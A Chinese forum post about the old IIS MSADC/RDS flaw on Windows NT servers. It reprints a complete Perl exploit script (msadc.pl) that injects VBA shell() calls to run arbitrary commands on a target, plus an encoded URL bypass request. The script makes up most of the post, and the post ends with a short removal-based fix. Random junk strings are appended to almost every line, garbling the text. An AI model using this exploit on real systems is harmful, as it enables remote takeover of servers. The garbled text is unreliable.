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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _{r=.W+ w  
Fb^:V4<T  
涉及程序: RnhL< Ywu  
Microsoft NT server ,_yh z0.  
/x5rf  
描述: VCn{mp*h  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 an|x$e7|?  
p8Q,@ql.  
详细: HR ;)|j{!  
如果你没有时间读详细内容的话,就删除: )^4\,u\@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll T(e!_VY|m  
有关的安全问题就没有了。 I 4,K43|  
2C/$Ei^t  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 /h*>P:i].  
c:-!'l$ !  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4T!+D  
关于利用ODBC远程漏洞的描述,请参看: h<Ft_#|o[  
HvM)e.!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %7"X(Ts7B  
cJ1#ge%4  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 "kMguK}c  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp wm)#[x #  
| \'rP_I>  
这里不再论述。 W6"v)Jc>_  
KcK>%%  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: #bl6sa{E  
5Cq{XcXV  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset EGZb7:Y?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! O9EKRt  
I9:Cb)hbU]  
.2>p3|F  
#将下面这段保存为txt文件,然后: "perl -x 文件名" >p.O0G gg  
5]HS^II"  
#!perl tZ^Ou89:rG  
# qQ"Fv|]~>  
# MSADC/RDS 'usage' (aka exploit) script NR -!VJQ  
# !1q 9+e  
# by rain.forest.puppy E}sO[wNPf  
# 6ek;8dL  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me e'0{?B  
# beta test and find errors! \|E^v6E%0  
AgFVv5  
use Socket; use Getopt::Std; 7b<je=G6PA  
getopts("e:vd:h:XR", \%args); ai nG6Y<O`  
=|I>G?g-  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; PI`jExL  
q o\?o    
if (!defined $args{h} && !defined $args{R}) { NX|v=  
print qq~ [k6nW:C  
Usage: msadc.pl -h <host> { -d <delay> -X -v } d/ bEt&  
-h <host> = host you want to scan (ip or domain) mnmP<<8C,  
-d <seconds> = delay between calls, default 1 second =$nB/K,8AX  
-X = dump Index Server path table, if available H&]gOs3So  
-v = verbose yi l[gPy4B  
-e = external dictionary file for step 5 SE),":aY  
``OD.aY^s  
Or a -R will resume a command session 2 !At2P2  
VUhbD  
~; exit;} Xtp"QY p  
uO=aaKG  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; &2`Fn!m  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} sFQ^2PwbS  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} M-[ $L XR  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Zf'TJ `S  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} q-c=nkN3  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } i K12 pw  
S(uf(q|{  
if (!defined $args{R}){ $ret = &has_msadc; # m[|2R  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} gFHT G  
rFC" Jx  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "g' jPwFG  
. "cmd /c "; !"<MsoY@  
$in=<STDIN>; chomp $in; e 46/{4F,  
$command="cmd /c " . $in ; < V\I~;  
LE*h9((  
if (defined $args{R}) {&load; exit;} aj?a^}X  
I_xX Dr  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 2n `S5(V  
&try_btcustmr; ;$a@J&  
'1$!jmY  
print "\nStep 2: Trying to make our own DSN..."; q*2N{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; g_G6~-.9I  
e_V O3"  
print "\nStep 3: Trying known DSNs..."; :PtF+{N>  
&known_dsn; ppFe-wY  
 jcI&w#re  
print "\nStep 4: Trying known .mdbs..."; :dLAs@z  
&known_mdb; cIp D~0\  
wlEdt1G  
if (defined $args{e}){ * 1Od-3  
print "\nStep 5: Trying dictionary of DSN names..."; J,zO2572u  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 4"xPr[=iG  
v76D3'8  
print "Sorry Charley...maybe next time?\n"; WHlYo5?  
exit; z,VD=Hnz  
jK' N((Hz  
############################################################################## Ma+$g1$  
bks/ `rIA  
sub sendraw { # ripped and modded from whisker ed:@C?  
sleep($delay); # it's a DoS on the server! At least on mine... Z7RiPSdxp  
my ($pstr)=@_; ' 4E R00  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ET[k pL  
die("Socket problems\n"); <0S,Q+&  
if(connect(S,pack "SnA4x8",2,80,$target)){ SF5@Vg  
select(S); $|=1; 1!.(4gV  
print $pstr; my @in=<S>; hs?sGr  
select(STDOUT); close(S); CYKr\DA  
return @in; jiYmb8Q4D  
} else { die("Can't connect...\n"); }} _>v<(7  
fgBM_c&9T  
############################################################################## 1&P<  
!w H'b  
sub make_header { # make the HTTP request `\m*+Bk[5  
my $msadc=<<EOT \TF!S"V  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 #vzEu )Ul  
User-Agent: ACTIVEDATA !YP@m~  
Host: $ip E=cwq"  
Content-Length: $clen ;s~X  
Connection: Keep-Alive  :<Fe  
Wy ZL9K{?  
ADCClientVersion:01.06 > ]8a3x  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "3<da*D1  
9 JWa$iBH@  
--!ADM!ROX!YOUR!WORLD! Rcawc Y  
Content-Type: application/x-varg \4AM*lZ  
Content-Length: $reqlen ?_ dIIQ  
tqy@iEz+  
EOT eYC^4g%l(  
; $msadc=~s/\n/\r\n/g; ** +e7k   
return $msadc;} BbRBT@  
Q6XRsFc  
############################################################################## a&k_=/X&  
r%e KFS  
sub make_req { # make the RDS request XfKo A0  
my ($switch, $p1, $p2)=@_; kFQ8 y~>y}  
my $req=""; my $t1, $t2, $query, $dsn; z Nl ,  
jZ%TJ0(H  
if ($switch==1){ # this is the btcustmr.mdb query \tRG1&{$%  
$query="Select * from Customers where City=" . make_shell(); /[9t`  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . e5OsI Vtjr  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} nwN@DqO  
/"?HZ% W  
elsif ($switch==2){ # this is general make table query Raw)9tUt  
$query="create table AZZ (B int, C varchar(10))"; z.6$W^  
$dsn="$p1";} Gdg)9  
 ru`U'  
elsif ($switch==3){ # this is general exploit table query 9W8]8sUeG  
$query="select * from AZZ where C=" . make_shell(); nN~~cV  
$dsn="$p1";} gN>2xnh'm  
de]zT^&C  
elsif ($switch==4){ # attempt to hork file info from index server ,&d@O>$E:  
$query="select path from scope()"; t!2(7=P30(  
$dsn="Provider=MSIDXS;";} Vf`7V$sr  
Iu{kPyx  
elsif ($switch==5){ # bad query XTd3|Pm  
$query="select"; f"( X(1F  
$dsn="$p1";} c5Q<$86  
^{\<N()R  
$t1= make_unicode($query); (708H_  
$t2= make_unicode($dsn); c)Ic#<e(  
$req = "\x02\x00\x03\x00"; 8k^| G  
$req.= "\x08\x00" . pack ("S1", length($t1)); XK"-'  
$req.= "\x00\x00" . $t1 ; 6O@J7P  
$req.= "\x08\x00" . pack ("S1", length($t2)); kEO7PK/  
$req.= "\x00\x00" . $t2 ; zSE<"(a  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; :=9] c17=  
return $req;} }'OHE(s  
VqE~c  
############################################################################## } %'bullT  
.^bft P\  
sub make_shell { # this makes the shell() statement 5qf BEPJ  
return "'|shell(\"$command\")|'";} 87WBM;$&s  
m{7^EF  
############################################################################## qClHP)<  
HK~xOAF  
sub make_unicode { # quick little function to convert to unicode ,KJw|x4}\  
my ($in)=@_; my $out; UYA_jpIP  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } e;GU T:  
return $out;} @Eb2k!T  
~Xlrvb}LP  
############################################################################## bT6sb#"W  
)XfzLF7  
sub rdo_success { # checks for RDO return success (this is kludge) J>^\oAgpE  
my (@in) = @_; my $base=content_start(@in); xcJ `1*1N  
if($in[$base]=~/multipart\/mixed/){ QW_agm  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ]?h`:,]  
return 0;} ^ZM0c>ev=l  
2S8P}$mM  
############################################################################## P"lBB8\eku  
;Efcw[<  
sub make_dsn { # this makes a DSN for us dDDGM:]  
my @drives=("c","d","e","f"); kF;5L)o  
print "\nMaking DSN: "; X1tXqHJF}  
foreach $drive (@drives) { t |W)   
print "$drive: "; Jd,)a#<j  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . f1PN |  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" E`j-6:  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); }YOL"<,:o  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ~Z ~v  
return 0 if $2 eq "404"; # not found/doesn't exist .d?%;2*{q  
if($2 eq "200") { `mH %!{P  
foreach $line (@results) { f(D_FTTO  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} l/y]nw  
} return 0;} IZ3{>N V  
muW!xY  
############################################################################## I5AO?BzJ  
T<-=nX  
sub verify_exists { ?4CNkk=v  
my ($page)=@_; ]0B|V2D#e  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Sb".]>^  
return $results[0];} `d2,*KR  
ki;UY~  
############################################################################## $3X-r jQtW  
O|cu.u|  
sub try_btcustmr { %~NH0oFO  
my @drives=("c","d","e","f"); OOBhbpg!D  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Zc"B0_&?:7  
>%Ee#m  
foreach $dir (@dirs) { >\<*4J$PZ  
print "$dir -> "; # fun status so you can see progress ]v G{kAnH  
foreach $drive (@drives) { CnN9!~]"  
print "$drive: "; # ditto f-2$ L  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 8_H=^a>2  
$reqlenlen=length( "$reqlen" ); k#}g,0@  
$clen= 206 + $reqlenlen + $reqlen; ?hYqcT[%  
!5}l&7:(MN  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); JIO$=+p  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} |DF9cd^  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} i v(5&'[p  
utlpY1#q/  
############################################################################## r' BAT3  
R)Mt(gFZT_  
sub odbc_error { Lh$dzHq  
my (@in)=@_; my $base; ~Z$bf>[(R7  
my $base = content_start(@in); *pzq.#  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this iP3Z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; :`vP}I ^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  6qo^2  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~9Cz6yF  
return $in[$base+4].$in[$base+5].$in[$base+6];} DZ ^1s~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; qIwV q!=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . fR-C0"c  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} p3^jGj@  
>i,iOx|E-  
############################################################################## %ICglF R  
S06Hs~>Y  
sub verbose { f!t69nd%L  
my ($in)=@_; ']o od!  
return if !$verbose; /"qcl7F  
print STDOUT "\n$in\n";} t>UkE9=3\  
tGc ya0RL  
############################################################################## %qsvtc`  
Zszs1{t  
sub save { sTHq&(hLUG  
my ($p1, $p2, $p3, $p4)=@_; o=fgin/E\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; smAC,-6 ]~  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ^a9 oKI9n  
close OUT;} _'x8M  
R@T6U:1  
############################################################################## 2 4\g bv<  
[IM%b~j(^  
sub load { O,V9R rG  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; g+zJ?  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); MN= sIP,zk  
@p=<IN>; close(IN); (9fdljl],:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); a?cn9i)#  
$target= inet_aton($ip) || die("inet_aton problems"); $<?X7n^  
print "Resuming to $ip ..."; @=]8^?$t 0  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; KT*:F(4`  
if($p[1]==1) { VU!w!GN]Y  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; -[#n+`M  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; M"^K 0 .  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); yfjXqn[Z4  
if (rdo_success(@results)){print "Success!\n";} QYE7p\  
else { print "failed\n"; verbose(odbc_error(@results));}} WN a0,  
elsif ($p[1]==3){ ek-!b!iI  
if(run_query("$p[3]")){ U!q[e`B  
print "Success!\n";} else { print "failed\n"; }} eQX`,9:5  
elsif ($p[1]==4){ iT )WR90  
if(run_query($drvst . "$p[3]")){ q(z7~:+qNr  
print "Success!\n"; } else { print "failed\n"; }} `QP ~  
exit;} Z&yaSB  
V`a+Hi<P\  
############################################################################## 2C+(":=}  
OjnJV  
sub create_table { T>]sQPg  
my ($in)=@_; t)1phg4H)  
$reqlen=length( make_req(2,$in,"") ) - 28; hY \{|  
$reqlenlen=length( "$reqlen" ); p_terD:  
$clen= 206 + $reqlenlen + $reqlen; J0<p4%Cf  
my @results=sendraw(make_header() . make_req(2,$in,"")); f5dR 5G  
return 1 if rdo_success(@results); sroGER .  
my $temp= odbc_error(@results); verbose($temp); ]= x 1`j  
return 1 if $temp=~/Table 'AZZ' already exists/; X1J;1hRUP  
return 0;} Bmr<O !  
* crw^e  
############################################################################## ')PVGV(D+  
e 3@x*XI  
sub known_dsn { ij)Cm]4(2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go  ~Nh&.a  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", M?6;|-HH  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", x(r+P9f\<  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); w^VSj%XH!  
whkJpK(  
foreach $dSn (@dsns) { #+sF`qR,  
print "."; 0'ZYO.y  
next if (!is_access("DSN=$dSn")); M23& <}Q8  
if(create_table("DSN=$dSn")){ nX x=1*X  
print "$dSn successful\n"; iK}v`xq  
if(run_query("DSN=$dSn")){ .;Y x*]  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2>y:N.  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $Lq:=7&LRn  
J1 tDO?  
############################################################################## 6mG3fMih.  
71iRG*O  
sub is_access { 03E3cp"  
my ($in)=@_; Sb<\-O14"  
$reqlen=length( make_req(5,$in,"") ) - 28; _-a|VTM  
$reqlenlen=length( "$reqlen" ); %jKH?%Ih  
$clen= 206 + $reqlenlen + $reqlen; u(vw|nj`  
my @results=sendraw(make_header() . make_req(5,$in,"")); C6k4g75U2  
my $temp= odbc_error(@results); ?n*fy  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); i!~>\r\6\  
return 0;} lCFU1 GHH  
_nX%#/{  
############################################################################## h(:<(o@<  
VO9f~>`(  
sub run_query { D!l8l49hLu  
my ($in)=@_; g,?\~8-c  
$reqlen=length( make_req(3,$in,"") ) - 28; *wUdC  
$reqlenlen=length( "$reqlen" ); @l,{x|00  
$clen= 206 + $reqlenlen + $reqlen; K\sbt7~  
my @results=sendraw(make_header() . make_req(3,$in,"")); fA XE~  
return 1 if rdo_success(@results); [@.B4p  
my $temp= odbc_error(@results); verbose($temp); ^CQ1I0  
return 0;} O)5 #Fcp(  
#S?c ;3-  
############################################################################## 46ChMTt  
^![{,o@"A  
sub known_mdb { &:8T$U V  
my @drives=("c","d","e","f","g"); GVObz?Z]SB  
my @dirs=("winnt","winnt35","winnt351","win","windows"); a J-}  
my $dir, $drive, $mdb; M.k|bh8  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _7 `E[&v  
(t74a E pi  
# this is sparse, because I don't know of many t,Q'S`eTU  
my @sysmdbs=( "\\catroot\\icatalog.mdb", A+2oh3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", hZF(/4Z2  
"\\system32\\certmdb.mdb", ,kE=TR.|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% |Y{PO&-?r  
B!`\L!  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 3/tJDb5  
"\\cfusion\\cfapps\\forums\\forums_.mdb", @zs1>\J7  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", `E;)`J8b  
"\\cfusion\\cfapps\\security\\realm_.mdb", 2?1}ZXr  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 22I Yrk  
"\\cfusion\\database\\cfexamples.mdb", %MNk4UsV  
"\\cfusion\\database\\cfsnippets.mdb", ^Jtl;Q  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "`]'ZIx[R/  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Kw*~W i  
"\\cfusion\\brighttiger\\database\\cleam.mdb", bA+[{  
"\\cfusion\\database\\smpolicy.mdb", }bgo )<i  
"\\cfusion\\database\cypress.mdb", *.dKR  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", (,TH~("{  
"\\website\\cgi-win\\dbsample.mdb", | XLFV  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |UZOAGiBg  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" |KaR n;BM  
); #these are just Xoi9d1fO  
foreach $drive (@drives) { [Pqn 3I[  
foreach $dir (@dirs){ -7 L  
foreach $mdb (@sysmdbs) { nk>8SW^  
print "."; q (1r<2  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ _=T]PSauI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; + o{*r#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ f-]><z  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; G|V\^.f<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (olLB  
UFk!dK+  
foreach $drive (@drives) { pg5&=  
foreach $mdb (@mdbs) { O 'Am RJ  
print "."; '{W3j^m7  
if(create_table($drv . $drive . $dir . $mdb)){ KT%{G8Y@M  
print "\n" . $drive . $dir . $mdb . " successful\n"; KE#$+,?  
if(run_query($drv . $drive . $dir . $mdb)){ QB9A-U <J  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; w%I8CU_}.  
} else { print "Something's borked. Use verbose next time\n"; }}}} N.n1<  
} H\f/n`@,G  
+yIL[D  
############################################################################## N=<=dp(  
:4]J2U\@  
sub hork_idx { JQH7ZaN  
print "\nAttempting to dump Index Server tables...\n"; }_vM&.GFlL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; F b2p(.  
$reqlen=length( make_req(4,"","") ) - 28; XP4jZCt9  
$reqlenlen=length( "$reqlen" ); q@w"yz>  
$clen= 206 + $reqlenlen + $reqlen; mR!rn^<l  
my @results=sendraw2(make_header() . make_req(4,"","")); :OX$LCi  
if (rdo_success(@results)){ >OTl2F}4 !  
my $max=@results; my $c; my %d; -Fa98nV.WB  
for($c=19; $c<$max; $c++){ $&Ac5Zo%}  
$results[$c]=~s/\x00//g; +qZc} 7rJF  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; k)Zn>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ac3_L$X[  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 2gH _$  
$d{"$1$2"}="";} AW62~*  
foreach $c (keys %d){ print "$c\n"; } mMslWe  
} else {print "Index server doesn't seem to be installed.\n"; }} fxOE]d8v  
lnjL7x  
############################################################################## `L;OY 4  
Bjtj{B  
sub dsn_dict { CJ:uYXJJ:z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8eN%sm  
while(<IN>){ rF'<r~Lw  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; $oc9 |Q 7  
next if (!is_access("DSN=$dSn")); q:Wq8  
if(create_table("DSN=$dSn")){ Qv\bLR  
print "$dSn successful\n"; :`;(p{  
if(run_query("DSN=$dSn")){ ?|)rv  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { gDMAc/V`l  
print "Something's borked. Use verbose next time\n";}}} 6g8M7<og9R  
print "\n"; close(IN);} ?&XzW+(X  
E"ZEo9y@^  
############################################################################## #[Z<=i~C  
(A2U~j?Ry}  
sub sendraw2 { # ripped and modded from whisker -#daBx ?  
sleep($delay); # it's a DoS on the server! At least on mine... YI/{TL8*KK  
my ($pstr)=@_; h k/+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wJ/ ~q)  
die("Socket problems\n"); G IK u  
if(connect(S,pack "SnA4x8",2,80,$target)){ QT7_x`#J~o  
print "Connected. Getting data"; \y@ eBW  
open(OUT,">raw.out"); my @in; 8KZ$ F>T]>  
select(S); $|=1; print $pstr; Pb3EnNqYbM  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Z%KL[R}^w;  
close(OUT); select(STDOUT); close(S); return @in; iq,ah"L  
} else { die("Can't connect...\n"); }} F@Pem  
n}42'9p  
############################################################################## J&'>IA  
\I:UC %  
sub content_start { # this will take in the server headers P`z7@9*j  
my (@in)=@_; my $c; (2cGHYU3N<  
for ($c=1;$c<500;$c++) { *1i?6$[ "  
if($in[$c] =~/^\x0d\x0a/){ +J%6bn)U  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } W3"vTZJF  
else { return $c+1; }}} icU"Vyu  
return -1;} # it should never get here actually c 3}x)aQ  
cgzy0$8dj\  
############################################################################## j`{fB}  
 )Kxs@F  
sub funky { j1W bD7*8  
my (@in)=@_; my $error=odbc_error(@in); >s44  
if($error=~/ADO could not find the specified provider/){ Io2,% !D  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 8TUF w@H%  
exit;} )_X;9%L7  
if($error=~/A Handler is required/){ 4(m/D>6:  
print "\nServer has custom handler filters (they most likely are patched)\n"; YmZC?x_{M2  
exit;} pb~Ps#"Zg  
if($error=~/specified Handler has denied Access/){ PkjT&e)  
print "\nServer has custom handler filters (they most likely are patched)\n"; is64)2F](  
exit;}} #)Ep(2  
PpW A f\  
############################################################################## RA! x  
nR(#F9  
sub has_msadc { mi*:S%;h  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); XSD"/_xD  
my $base=content_start(@results); Fp wlV}:  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); [SKP|`I>I  
return 0;} *oKgP8CF  
IvPA|8(  
######################## B8`R(vu;  
MacL3f  
[O.LUR;  
解决方案: MoZU(j  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll /,=Wy"0TJ  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 KteZK.+#:  
x& mz-  
拿出来充数 哈哈
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